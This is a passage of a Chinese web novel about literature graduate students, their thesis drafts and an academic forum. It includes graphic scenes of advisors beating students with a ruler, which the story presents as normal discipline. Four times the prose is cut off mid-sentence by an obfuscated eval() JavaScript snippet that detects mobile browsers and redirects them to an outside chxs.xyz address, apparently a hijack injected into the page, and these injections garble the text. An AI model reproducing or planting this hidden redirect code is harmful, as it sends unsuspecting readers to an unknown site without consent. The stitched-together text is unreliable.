听说在严先生下放劳动的那些年,秦昭阳曾被安排到西北一个村里教小学,当然也免不了要做一些体力活,也因为对前途和命运没有一丝把握,多年来惴惴不安,每天早上见到一点亮光就立刻爬起床,等着那一天的不幸来临。习惯了那样的生活,回来之后,秦昭阳也不再睡懒觉,每天都起得很早。 大约是猜到了师父让他连夜赶稿的用意,柏阅冬倒不怎么怕,问了声好之后便将文章和戒尺一并递了过去。 戒尺上的半棵柏树压着纸张上行云流水般的笔迹。 秦昭阳接过来:“庄遂平帮你写的?” “嗯,”柏阅冬没有隐瞒,“手写不了字,我念,他写。” 秦昭阳轻飘飘地扫了一眼,抬眸问:“你念过?” 一般来说,“念”比“看”更容易发现语言上的问题,比如不通顺不简练等,所以秦昭阳会要求他念自己的文章,但那是到三稿四稿时候干的事,初稿主要是看文章逻辑是否严密、材料是否合适、论证是否恰当之类的大问题。秦昭阳才看一眼就这么问,摆明了是要找茬。 柏阅冬心说果然如此,可面上却没有任何争辩的意思,自觉走过去,道:“念过,但是时间……” “这是理由吗?” “不是。”柏阅冬低声回答,话音一落,身后便炸开一道剧痛,裤子遮挡下的皮肉火辣辣地烧起来,他忍不住“嘶”了一声。 秦昭阳看见他垂在身侧的右手,仍然红肿着,似乎没有处理过,却只是冷脸道:“手撑着,再念。” 手撑着是准备好挨打的姿势,再念是准备好挨打的理由。 柏阅冬把平日的傲气藏得好好的,乖乖照做,从题目开始念他的文章,但引言没念完戒尺就隔着裤子抽了上来。 他今天穿的是轻薄的黑色休闲裤,不大修身,但非常宽松透气,很适合夏天,也很适合挨打。 挡不住一点。 柏阅冬又看一遍那句话,忍痛道:“对不起,是个病句,我晚些改。” 不需要笔,秦昭阳知道他的脑子,记这么点东西用不着写。 柏阅冬没说什么,继续念,念到引言最后一句又挨了一下狠的,“啪”一声分外响亮。 “过渡太生硬了,改。” 柏阅冬咬咬牙,道:“知道了,师父。” 九页纸,写得满满的,柏阅冬每读一两句就要挨一戒尺,而且每次都是兜风抽下,热辣的疼痛结结实实地落在屁股上,不过十来下就转成一片痛麻,柏阅冬时不时倒抽一口凉气,边念边想他的屁股是不是肿了。 读完第一页时,柏阅冬挨了二十多下,屁股虽然疼,但还可以忍,只是不知这篇文章读完,又是什么样子了。 “继续。”秦昭阳手中的戒尺敲敲桌面,催促道。 柏阅冬翻过一页稿纸,接着往下念。 不通顺…… 词用得不对…… 材料有误…… 表述啰嗦…… 标点符号用错…… 一个接一个的错误像一条线,牵着身后那柄戒尺,一下下抽上他的臀,柏阅冬不喊疼,但额上渐渐渗出了汗珠,嘴唇发白,连声音都有些涩。 “从这两首词可以看出,元好问的创作与其词学理念是……” “啪!啪!”“哪里又跑出一个理念?你这个句式,是在教小学生做阅读吗?” 柏阅冬疼得有些撑不住了,豆大的汗珠从他的眉骨滴下来:“我知道错了……师父……让我缓缓……” “继续。” “师父……” “我说继续。” 柏阅冬一闭眼,眼睫毛全湿了,显得整张脸湿漉漉的,似乎是想求饶了,可一开口,仍是念文章。 屁股应该是肿起来了,戒尺一抽,两团肉都不可避免遭受厄运,尤其臀尖一处,像是破皮了,火烧火燎的,可戒尺还是不断肆虐着,柏阅冬想,这个屁股不用要了。 幸而是穿了黑色宽松的裤子,屁股肿成什么样也不会被别人看出来。柏阅冬强撑着念完整篇文章,几乎疼得站不住了。 “拿回去改,明天早上拿过来。”秦昭阳将戒尺往抽屉一放,意思很明显,明天还用得上。 小少爷柏阅冬少有这么狼狈的时候,抬起手背抹了一把脸上的汗,声音发虚:“知道了。” 自己的开门弟子,将来若是一切顺利,什么都要交到他手里。秦昭阳是拿柏阅冬当半个儿子看的,这种时候不可能不心疼,只是小孩子这么犟,他也没有别的办法。 “去吧。” “师父再见,”柏阅冬拿上文章,“我先走了。” 被打成这样,走路也不顺溜,一瘸一拐的,柏阅冬不敢再去买早餐,直接去了校对办公室,发现庄遂平也到了。 庄遂平瞧他那一头的汗和发白的脸色,立刻上前去扶:“没事吧?” 柏阅冬摇摇头,一看那木椅子,眼前一黑,差点要晕倒,往前挪了两步,靠着桌子歪着:“我不坐了,站一会吧。” “又怎么了?” “文章写得不好呗!”柏阅冬把稿纸拍在桌面上,不以为意。 庄遂平有点过意不去,文章是他抄的,有可能抄了错别字什么的让阅冬挨打了,一时间神情萎顿。 “你别多想啊,秦昭阳就是找事儿,不想让我有时间和辰辰见面,跟你没关系。”柏阅冬解释道,“往常初稿他不挑毛病的。” 说是这么说,可庄遂平还是不想他挨打,问:“问题很多吗?” 柏阅冬点点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“就是!”刘巍思有老师撑腰,一点不怕,还仗着之前挨打受委屈在这撒娇,“大师兄一个暑假没来看老师,来了也不知道提个点心匣子,就提个西瓜!” 严先生笑出了声,斥道:“又欠打了!在这里挑拨离间搅乱是非,你大师兄提个西瓜来难不成是让我吃?” 刘巍思当然知道西瓜是给他提的,可就是喜欢戳他大师兄心窝子,谁叫这个人老是一副板正面孔没有人气? 易堂生余光瞥见师弟吃完了西瓜,正起身丢垃圾,便道:“要去哪里赶紧去!别在这里碍事!” 刘巍思从厨房里拿了块抹布擦桌:“急什么呀?我说了晚点去!” 易堂生瞪了他一眼,不说话了。 不多时,刘巍思便收拾得整整齐齐过来了,往易堂生身边一坐,说:“我也想看大师兄的论文。” 易堂生带来的是他博士论文的前两章,严先生正看第二章呢,第一章已经被涂改得万里江山一片红,正放在茶几上。 易堂生瞅了他几眼,把论文拿给了他。 刘巍思装模作样地翻了两页,贱兮兮地笑道:“原来博士写论文,也要被改这么多呀!” 易堂生一巴掌拍在他脑袋上,疼得他一下“嗷”了出来。 55.第 55 章 刘巍思十点多才提着一盒龙须酥和一罐黄桃罐头去学院。一进校对办公室,柏阅冬便笑:“知道我没吃饭特地来喂我是吧?” “那可不?咱们仨谁跟谁啊?”刘巍思把东西放在桌上,指着罐头道,“之前我师兄给的,剩了一罐,正好给你吃。” 柏阅冬身上还疼着,但不想跟刘巍思说挨打的事,只勉强靠在桌边笑,冲庄遂平道:“剩了一罐,给我的。” “别得瑟了,暑假你不在的时候我跟遂平不知道吃了多少!”刘巍思拉开椅子坐下,“我老师还说让你上我们家吃饭去,做羊肉吃。” 柏阅冬拧开罐头,用勺子舀着吃:“大热天吃什么羊肉啊?” “那不是想着羊肉是好东西吗?你看你这么瘦这么虚,一头的汗,给你补补。” 柏阅冬生怕刘巍思看出来,忙岔开话题:“有空再说羊肉吧,赶紧帮我把论文改了,你看我这手,现在也能动一点了,刚试着拿笔写了几个字,还是疼。” 刘巍思在电话里就听了,现在真看见,也不由得啧啧几声:“你上过药没有啊?别给伤着了。” “你来之前给他上过药了,他嫌药味不好闻,不肯多擦。”庄遂平道。 “行了,不跟你们扯这个,快点帮我看论文!” 秦昭阳指出的问题,柏阅冬转述给庄遂平,已经用红笔在稿纸上做了涂改,大大小小的字挤得满满当当,但还是能看出庄遂平那手行云流水辨识度极高的漂亮书法。 刘巍思从头到尾看完论文,问:“这是一稿?” 柏阅冬点头。 “你这一稿完成度也太高了,秦老师说的基本都是语言的问题,逻辑框架愣是没挑出一点毛病,厉害啊!”刘巍思由衷赞叹。 “那倒也不是,”柏阅冬翻到其中一页,“这里,还是要调一下顺序。” “这不是什么大事。”刘巍思伸手往桌角处拿了一沓新稿纸过来,“我帮你誊抄出来?” “不急,咱们一块一句一句看,看还有什么要修改的,一起改了。” 刘巍思和庄遂平并排坐着,柏阅冬站在刘巍思身侧,三个人你一言我一语地讨论着,说说写写,仿佛又回到他们刚认识那会,谁也没有那么多烦恼,只想着怎么写一篇好文章出来。 只是,当他们并肩在这个独属于他们的空间中锤炼文字时,无论如何也想不到他们将来再也不会有这样的时光。 秦昭阳本想来看看柏阅冬的,没想到瞧见三个学生的背影,柏阅冬虽是站着,但看上去也还好。秦昭阳稍稍放了心,准备回去,刚好碰上柏阅冬回过头。 “师父?” 另外两人听到这声,也跟着回头,站起身,恭恭敬敬地叫秦老师好。 秦昭阳点点头,想说点什么又说不出来,最后道:“你,你自己注意点。” “我知道,师父。” 秦昭阳颇有些无措,木讷地点点头,走了。 刘巍思摸不着头脑,问:“秦老师怎么怪怪的?” “他觉得对不起我呗,”柏阅冬拿出早已准备好的说辞,“他现在就是逼我写文章,不让我有时间去找辰辰。” “那他到底为什么不让你跟秦嘉辰在一起啊?自己的女儿和弟子,这不是挺好的吗?” 庄遂平同样不解地耸耸肩。 柏阅冬想到秦昭阳的话,心里头有点堵,却不愿多说:“谁知道他?” 修改过又誊抄好的文章第二日一早就送到了秦昭阳跟前。二稿明显流畅了很多,但还是有不少毛病,柏阅冬照旧挨了打,青紫肿胀的屁股一回锅,简直酸痛难言,差点眼泪都掉出来。 “回去,再改。” 柏阅冬一手拿着稿纸,一手轻轻捂着屁股:“师父,我能不能问,这趟出去是我和您?” “带上姜新宇。” 柏阅冬愣了一下,声调都高了:“怎么是他?那遂平呢?” “庄遂平有纪老师给他安排。”秦昭阳知道小孩的心性,之前为着刘巍思的事就对姜新宇有意见,这个暑假,姜新宇没来过一天,校对的工作都是庄遂平一个人在做,结果到了要出风头的时候,就让姜新宇去,他很难接受。 “我不想和他一起出去。” “他去也不碍着你,”秦昭阳道,“他就跟着我们走一圈,也不会让他去读论文、作研讨,你就当带他去听别人的讲座吧。” “那我怎么跟遂平说呀?” “不用你跟他说,纪老师会处理的。我们出去这一周,两个新生要来,让庄遂平带着他们。” 柏阅冬气呼呼的,可也没办法,连再见也没有,扭头就走了。 九月上旬,秋风落下,空气都凉丝丝的。秦昭阳带着两个学生上了绿皮火车,轰隆隆地往东部去。 他们三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642463|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐一个四人的位置,中间一个小桌子,两两相对,有一个空座不知是没卖出去还是那人没来,总之只有他们三个,也乐得松快。 绿皮火车嘈杂而混乱,刚上车的旅人拖着大大的包袱往里走,放好了行李的拿着水杯去接热水,乘务员推着一辆窄窄的小车一路叫卖。各种声音和味道汹涌而来,姜新宇揉揉鼻子,道:“其实可以坐飞机的,我们这一趟也得二十来个小时,太久了。” 其实柏阅冬也是这么想,但就是要跟姜新宇对着干:“学校只能报销火车票,你不知道吗?” 姜新宇低头笑笑,又抬头道:“坐飞机也没几个钱,是吧柏师兄?”简直像挑衅。 柏阅冬正要反驳,却被秦昭阳叫停了:“别闹,跟你说正事,咱们的文章是周二上午读,具体第几个还要等到了才确定,你在车上别闲着,把发言稿写出来,别写得太正经,口语化一点,自然一点。” 柏阅冬有点懵,他写的口语化的发言稿,他师父读出来也不对啊?啊?难道…… “师父,不会是我去读吧?” “当然是你去读啊!你是第一作者,你不读谁读?” “我以为……” “你以为你就跟在我屁股后面吃吃喝喝?”秦昭阳把手中的稿纸卷起来,照着他脑门敲了一下,“不长进的东西!” “我哪知道这么多?这不是什么国际化论坛吗?全国各地都有人去,还有国外的学者,这场面您也放心让我上啊?” 柏阅冬说的是实话,这样的大场面,别说硕士,就是博士也不能轻易上台。到时候整个会场,随便一抓就是头发花白七老八十的著名学者,他一个毛都没长齐的小孩,哪能想这个啊? 秦昭阳瞪了他一眼,解释道:“出名要趁早,有好的机会,当然是让你去,这是词学论坛,你毕业论文不是写晏几道吗?以后也还得往这条路上走,人家早点认识你有什么不好?” “我没说不好,我就是没想到师父您连这么好的资源都舍得给我。” “知道是好东西,就好好准备,别出去丢人现眼,说不准你还能碰到你本科时候的老师,你们那学校是不是有个研究清词的?” “哦,是啊……” 师徒俩说着说着话题就转移到哪些人研究什么东西上去了,姜新宇在一旁话又插不上,颇为尴尬,看着柏阅冬意气风发的样子,有些不是滋味。 56.第 56 章 秦昭阳一行人“哐啷哐啷”地到达华东时,两个新入学的研究生到了学校。这一届还是三个人,除了姜新宇以外,还有一男一女。因着秦昭阳不在,纪慎主动又满意地挑走了一个名叫盛超的男生,把女孩子留给了秦昭阳。 纪慎让庄遂平带师弟师妹去校对办公室,让他们熟悉一下工作。 有新人来,当然要让他们干活。 庄遂平欣然领命,一一向他们介绍这个项目的内容、进度以及他们之后要做的事情:“这是我已经誊抄好的词,已经按卷分好了,你们要做的是翻阅这些文献,找到里面关于元好问词的内容,用铅笔誊抄到相应的那一页。” 名叫盛超的男生看了看誊抄好的纸张厚度,道:“师兄,工作量有点大哦。” 庄遂平点点头:“所以要你们都来帮忙,不过这也不是一两年做得完的事情,不用着急,你们就先熟悉一下元好问的词吧。”庄遂平给他们各分了几沓词,“熟悉了之后找起来就很快了。” 女孩子乖乖接过:“好的,庄师兄。” 盛超翻了几首第一卷的词,问:“师兄,我能不能问一下,关于元好问的词,目前论文都写过什么内容了?” “这个可能要等阅冬回来,他知道得清楚一点。”庄遂平很诚实,“我只知道在此之前,学界对元好问词的研究不多,阅冬和秦老师写过一篇元好问的词学思想,他们这次去参加词学论坛就是拿那篇文章去参会的。另外,他们好像在准备写一篇对元好问词的全面介绍,包括词学思想、词作内容和艺术特色,大概以后会用作这套书的序言吧。” “也就是说,元好问的词还有很大的研究空间咯。” “嗯,是这样的。” 庄遂平才跟这个师弟说了几句话,心头就“扑通扑通”跳。他隐隐约约意识到,盛超就是老师最想要的那一类学生,学术意识强,有目标感,非常主动,不像他,对于一切安排都会默默接受。 这样的师弟,让他很有压力。 但是这才第一次见面啊,庄遂平强压住内心的忐忑,温声道:“你们有事的话就先去做别的事,刚来学校应该很多事情,没事的话就现在这里看看吧,我先去找老师。” “庄师兄再见。”女孩懂事地挥手告别,盛超也挥了挥手,没有说话。 两个办公室隔得不远,跨过中间三四个办公室会议室就到了。庄遂平敲门进去,随手反锁上了。 “老师。” 纪慎把一沓稿纸“啪”一声往办公桌前一丢:“自己看。” 那是庄遂平毕业论文的文献综述。他研究吴梅村的诗,花了一个暑假写文献综述,为着能让纪慎满意,还修改了许多遍,抠了不少错别字和格式上的错误,但是纪慎还是大刀阔斧地进行了大片修改,让整篇文章看上去一无是处。 尽管庄遂平对这样的场面早有准备,但在看到自己的文章被改成这个样子,还是不由得在心中叹了声气。 “先看,看不懂再问。” “是。”庄遂平应了声,站在办公桌前垂头默读笔迹凌乱的论文。 他忽然想起来,他在这个办公室里,好像没有坐下的机会。也许郑旭师兄坐过的吧,老师看上去那么喜欢师兄,也许将来,盛超进来的时候老师也会随和地指着椅子说坐。 反正无论在哪里,他都只是那个夹在中间不受重视不受宠爱的平庸孩子。 文章很多地方纪慎都没说怎么改,只是指出了问题所在。这是他一贯的风格——他负责提出问题,思考如何修改以及落实是学生自己的事。 指导方式从来没有好与不好一说,若是换了柏阅冬来,纪慎话说一半,他就能接下一半,可是庄遂平常常觉得云里雾里。 大概是他太笨了吧。 庄遂平一边看一边记下他没有理解的几个地方,待全部看完才敢发问:“老师,这几个小版块,您说太零碎了,其实我写的时候也感觉到了,但是不知道要怎么整合。” 平心而论,庄遂平现在已经有了很大的进步,放在一年前,他甚至不会察觉到这里有问题。但是这样微小的进步,对纪慎来说,还是不够。 “如果按照你这个分类没办法整合这些东西,就说明你的分类方法有问题,试着换个思路。” 换个思路,他没有这么多思路呀! 看着庄遂平呆呆的模样,纪慎有点恼:“你这里按照研究内容分类,结果发现每一类都只有一点点,说明在研究范围上很广泛,提炼不出什么重要特点,这个时候你就可以考虑研究是否比较集中在某个时期,或是研究者多集中在哪些地方,或是这些研究有什么内在联系,他们是如何注意到吴梅村的作品,是否有前后启发关系,思路很多啊,怎么就想不到呢?” “抱歉,老师,我回去再整理一下。”庄遂平明显更沮丧了。 后面还有几个大问题,庄遂平问得小心翼翼,生怕自己在老师眼中完全变成一个蠢货。 可是,他就算再怎么努力,老师也不会觉得他聪明的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665763|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。 纪慎点拨几个问题花了一个多小时,简直精疲力竭,倦怠地揉揉眉心,道:“站过来。” 必备环节,保留节目。 庄遂平木木地走过去,褪裤,沉默地撑在桌上。暑假他虽然一直呆在学校,但纪慎也只在七月底找过他一回,算是给他放假了。算回来,有一个月出头不曾挨戒尺了。 还是那柄朴实无华的戒尺,没有任何图案装饰。就像老师对他的训诫,没有任何附加的东西,一切都简单而粗暴。 纪慎抓了戒尺,连提醒也没有,“啪啪啪”就往学生臀上抽。庄遂平一段时间不挨打,再被戒尺抽,觉得似乎比从前还疼些,不仅屁股跳着疼,连心尖也一抽一抽的。 屁股上没有残留的伤痕,新鲜的尺痕非常显眼,每一尺下去都是一道鲜艳红痕,十来下过去就红了一小片。 “啪啪啪”,纪慎不说话,只一个劲抽打他,反正该说的话都说了,他实在学不会,就打到开窍为止。 庄遂平感觉到身后的两团肉越来越热,好像老师手上拿的是一板烧得通红的烙铁,每次抽下来,都跟油泼似的,疼得他受不了。 “唔……老师……” 才打了三四十下,一听他的声音,纪慎竟蓄足力气,连续狠狠抽了五六下:“怎么?要求饶?” “不、不敢……”庄遂平脑门上一层汗,太阳穴突突地跳着,生怕再说什么不对的话惹纪慎生气,“老师打吧。” 可纪慎的火气上来了就下不去,接下来的戒尺都如那最狠厉的五六下一样,“噼里啪啦”地抽在学生早已伤痕累累的臀上,那声音又急又响,像夏天的急雨。 这一顿打了一百多尺,本来还要打的,可是纪慎累了。庄遂平臀上渗出血渍,两团肉肿胀得不像话,甚至偷偷掉了两滴泪,但是老师没有一点心疼他。 “先回去吧。” “是。” 庄遂平能感觉到,老师跟暑假前不一样了——那时候老师也打他,可还是有一点耐心,想要好好教他,可是现在,老师只是在泄愤。 至于为什么,他应该没有猜错。庄遂平微微弓着身子,一瘸一拐地回到文献办公室,女孩已经走了,盛超还在慢慢翻阅文献。 盛超抬起头,竟然笑了,问:“师兄是被老师打屁股了吗?” 庄遂平惊愕,说不出话来。 盛超接着道:“老师说,师兄笨得每回都要打屁股才能开窍,原来是真的啊!” 庄遂平如坠冰窟。 57.第 57 章 恢复沉寂的校对室里只剩下庄遂平。他好像失忆了,根本想不起来盛超那个笑之后发生了什么,只有那个笑容在脑海中一遍遍播放,连嘴角的弧度都渐渐放大清晰。 他在盛超的嘴角看到了玩味、嘲弄、轻蔑,也许还有别的什么,他说不上来。 呆滞中,连屁股都不疼了,只剩下麻木。庄遂平走到最边上,拿起电话听筒放在耳边,慢慢播出了一个号码。 “喂?”那边很快接起来,是庄遂平熟悉的声音。 庄遂平鼻头蓦然一酸,似乎回到了暑假前的那天,师兄给他书,安慰他说老师很喜欢你,他想问师兄您说的是真的吗?为什么我又没办法相信了? 可是多矫情啊,他这么大一个人了,竟然为了这么点事情打电话给师兄,要是老师知道了,会骂他没出息;阅冬和巍思知道了,会笑话他像个女孩子;盛超知道了……会更加看不起他。 “您好,请问哪位?”郑旭等不到回答,再次出声。 庄遂平吸吸鼻子,道:“师兄,是我,遂平。” “遂平啊,”郑旭话里带笑,“怎么打电话来了?有什么事?” 没什么事,就是觉得委屈、难过,可是委屈难过又算什么事呢?难不成师兄会特地从家里来一趟,再像哄小孩似的逗他开心吗? “没,就是跟师兄说一下,老师……收了个学生,叫盛超。咱们有小师弟了。” “真的?这么快,我都不知道新生来了。”郑旭显然更兴奋了,“既然小师弟来了,我这个大师兄也不能没表示,你见到他跟他说一声,我过几天去学校看他,给他带礼物,请他吃饭,让他感受一下大师兄滚烫的爱。” 去学校看他,给他带礼物,请他吃饭。 滚烫的爱。 庄遂平想笑,可嘴角怎么都拉不上去。师兄嘴里那些给师弟的东西,他一样也没有。 他不是要怪师兄,只是、只是…… 只是真的好难过啊! “我知道了,师兄,下次碰见他,我转告他。” “嗯,老师怎么样?你最近见了老师没有?” 庄遂平后悔打这个电话了,恹恹的打不起精神:“见了,老师还好。” “那就行,师兄不在,你就帮着多照顾。” “嗯,我知道,”庄遂平没话说了,“那,师兄再见。” “再见。” 庄遂平挂了电话,转身回到自己的座位上,好像忘了自己身上有伤,拉开椅子便直直坐下,感觉不到疼了。 他从下午一直坐到晚上,天光一点一点暗下去,校对室里没有一点声音。 而远在一千多公里之外的柏阅冬美滋滋地出去逛了一天,这里离他家不算很远,城市风貌、生活习惯都很相近,柏阅冬走在路上,听人家用方言叽里呱啦地说话,只觉万分亲切。 他不会当地方言,只好说普通话,在路边买鸡汁汤包吃。 汤包又鲜又香,一口塞进嘴里,鲜美汤汁在口腔爆开,烫得他恨不得立刻吐出来,却又舍不得,“哈哈呼呼”的,终于嚼碎下肚。 嘿嘿,果然比在学校好多了。等有机会,一定要跟辰辰一起来。 柏阅冬还没想明白怎么跟秦嘉辰在这地儿谈恋爱呢,人就被赶着去论坛会场了。周二上午的会场安排在当地一个高校图书馆的汇报厅,主要是参会的学者汇报最近的重要研究,是这次论坛最重要的内容。高校林立的城市,大学生们都收到了通知,中文系学生和诗词爱好者们一大早就挤进学校,看能不能占到一个座位。 秦昭阳一行人到得还算早,但汇报厅里也坐了不少人,前几排是留给参会学者的,其中又以前两排最为重要,桌板上放着写着名字的硬纸板,一个个的,名号十分响亮。秦昭阳这样的,只能坐在没有名字的座位。 除去参会人员的座位,再往后十几排,是学校留给本校学生,最后最远的那些座位,才属于外来学生。 柏阅冬坐下抱怨:“我还是个读论文的呢,怎么没给我一个好位置啊?” “你算个什么东西?”秦昭阳嫌弃地看了他一眼,“给你机会上去读论文就不错了,还想坐哪上头?做梦!” “哎,师父,那您说纪老师来了,能不能坐到那儿?” 秦昭阳想想,道:“纪老师他爹还差不多,等会你就知道了,坐那上头的,年纪一个赛一个大。” 柏阅冬的心思八卦了起来:“师父,纪老师他爸也是研究古代文学的?” “做文献的,就在这个学校,不知道还上不上课,名气和年纪都很大。” “那怎么没听纪老师提过?” “你们纪老师脑子里只有工作,他不会提这些的。” 柏阅冬想想也是,便不问了。他八卦这么一会的工夫,后面的位置几乎被坐满了,还有不少人手里拿着笔记本,到处问空位有没有人坐,还挺唬人的。 前面那些老先生也一个接一个来了,秦昭阳没说错,年纪一个赛一个大,这头这俩还能边说笑边走进来,后头那个就得拄拐杖了,再来一个,还得年轻学生扶着。待他们全都落座,一眼过去,凑不出一头黑发。 柏阅冬心想,他该不会是上台读论文的人里唯一一个黑头发没皱纹的吧? 这次柏阅冬被安排在中间靠后的位置,没什么特别的。差不多轮到他时,他就矮着身子出去,到台边等候。 姜新宇坐在秦昭阳身边,没怎么听现在台上那个白发苍苍的老头讲话,目光跟随着柏阅冬,看他真像一棵柏树似的,直直站在那里。 柏阅冬比他还小一岁,也就是比他早两年上学,加上这次,已经参加了两次学术会议,他再不赶,就赶不上了。 柏阅冬在边上候场,并不知其他人都如何想,只整了下白色衬衫,听到主持人让他上台时,面带微笑,一步步上去了。 “尊敬的各位老师,亲爱的各位同学,大家上午好!”柏阅冬站在台中间,大大方方地鞠躬问好,随后露出一个大大的笑,“我太惶恐了,没有想到会有这么多我只听说过名字的大学者坐在下面听我汇报,如果我说得有什么不对,请各位老师看在我年纪还小的份上,放我一马!” 下面一阵笑。 “现在我来汇报我最近的一个研究,元好问的词学思想……” 柏阅冬把人逗笑了之后,会场气氛就轻松了一些,他也游刃有余地完成了论文的汇报。从写作上看,他的文章肯定不如老学者们的简练精彩,但胜在研究对象新,也赢得了一些好评。柏阅冬听完评议,简单回答了两个问题,就完美退场了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672817|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “师父,我表现得怎么样?”柏阅冬一回来,就迫不及待问。 秦昭阳高兴得不得了,按着他的脑袋往自己身上搂:“你就是这整个会场最厉害的研究生,那些博士都看眼红了,等着,等会散会,肯定很多人要来认识你。” 柏阅冬笑得合不拢嘴:“我是不是给师父长脸了?” “那肯定!” 姜新宇静静听着,想,不知道这个元词校注项目还会不会有机会参加这么大的论坛,有的话,大概能轮上自己去一次吧。 不出秦昭阳所料,上午的议程一结束,大家还等不到去餐厅就开始在会场社交了。秦昭阳应付了两个博士生,说完柏阅冬还得顺手介绍姜新宇,说这是严老师的学生,他家中长辈都是理科方面的大学者。姜新宇应对得体,微笑,握手,说很荣幸,我老师是严旭和,我祖父是姜某某……总之好长一串,介绍不完。 “哎,师父,童院长怎么也来了?” “他搞文献的,来也不奇怪,哎,那个,他旁边那个是周懋恭老先生,词学大家。他青年时候就出国了,现在想落叶归根,很多学校在争取他,童院长可能是来挖人的。” 说曹操曹操到,这师徒俩刚叨叨完,童院长就带着那位清癯的老先生回头了,秦昭阳一惊,忙抓着柏阅冬上前去打招呼:“周老先生好,身体还好吧?” 周先生身体还好,虽然清瘦,但站得笔挺,面色红润,目光如炬,花白头发梳得整整齐齐,一开口,底气十足:“多谢关怀,没有大碍。” 童院长很高兴,毕竟柏阅冬可是出尽了风头,忙介绍道:“这是我们学校研究宋词的秦昭阳,您叫他小秦就好,柏阅冬这个小伙子就是小秦的学生。” 柏阅冬连忙鞠躬:“周先生好,我是阅冬。” 周先生的目光在柏阅冬身上流连一阵,脸上竟带了笑意:“你研究生二年级了?” “是。” “研究生期间,除了元好问词,还研究什么呢?” “我毕业论文打算写晏几道的词。” “晏几道……”周先生喃喃几声,“闺中儿女,恐怕格局小了。” 这是提意见了,换了别人,可能就要说先生说的是,学生回去再考虑,但是柏阅冬却不,还是直直地看着周先生,毫不躲避:“词之优劣,只在情真与否,不在格局大小。” 童院长先是心头一紧,怕周先生不高兴,可转念一想,这孩子有见识有胆量,谁会不高兴呢? 果不其然,周先生笑意更浓,又问:“依你看,姜夔词之优劣如何?” “我相信白石情真,可他太过执着于词之雅俗,情真与词雅,在他心中权衡的那一瞬间,情便不真了。” “那辛词情真否?” “稼轩自然情真,但旁人不许他言真情,他只好借上许多旧事,故事用得愈多,他愈无奈,最后无奈也是他的真情了。” 周先生没有再问,只是点了三次头。 童院长适时道:“周先生,我们去用餐吧。”说着,带着周先生转身往出口处去了。秦昭阳在后面说再见,一回头,又是带着好几个学生的老学者,秦昭阳依旧得体招呼着。 姜新宇在一旁陪着假笑,只想,刚刚在周先生面前,居然没有人介绍他! 58.第 58 章 论坛开足两日,秦昭阳又被邀请去另一个学校作讲座,再加上前前后后的交流环节,一行人逗留了整一周才回来。 柏阅冬的脑子还留在那里,身体却走到了校对室,一看见里头的三个人,傻眼了——三个里头,有俩他不认识。 庄遂平脑子转得快,忙道:“我忘记跟你说了,这两个是研一的,这是我师弟盛超,那是你师妹。” 盛超站起身微微点头:“是柏师兄吧?柏师兄好,我叫盛超,是纪老师的学生。” 女孩子也跟着站起来:“师兄好,我叫肖晩亭。” “哦,”柏阅冬反应不及,显得傻愣愣的,“你们有什么不懂的就问,这里就我们几个,等会姜新宇可能回来,跟你们一届的,严老师的学生。”柏阅冬说了几句话,慢慢回过神来,边整理桌上的东西边道,“咱们这没什么规矩,遂平应该跟你们说过我们主要干什么了,你们有空就来,随意一点就好。” 说话间,姜新宇便到了,先问了师兄好,又跟同届的同学相互认识,目光在肖晩亭身上停留许久。 肖晩亭二十二岁,本地人,本科在当地另一所高校就读,从头到脚都是一副城市知识女青年的作派,扎两个低低的马尾,发梢落在胸前,穿一件蓝色棉衬衣,一条灰色长裤,衣摆扎进裤子里,显得腰瘦腿长,颜色虽然不鲜亮,但是干干净净,有种质朴简约的美。 肖晩亭似乎察觉到姜新宇的目光,冲他笑了笑,便坐下干活了。 “阅冬!”秦昭阳还没到校对室门口呢就大喊,一冲进来瞧见这么多人也吓了一跳。众人纷纷叫秦老师好,两个不认识秦昭阳的新生也跟着起身鞠躬。 秦昭阳摆摆手让他们坐:“阅冬你跟我来,哦,还有你,是叫肖晩亭吧,你也来。” 前一篇论文搞定,就要开始一篇新的。秦昭阳甚至没来得及好好了解他的新学生,就火急火燎地布置起了任务:“这篇论文比较长,五个大部分,词人简介、词学思想、词作内容、艺术特色、地位和影响。词人简介比较简单,先放着,词学思想肖晩亭来写。” 肖晩亭有些惊愕,食指指着自己,说不出话来。 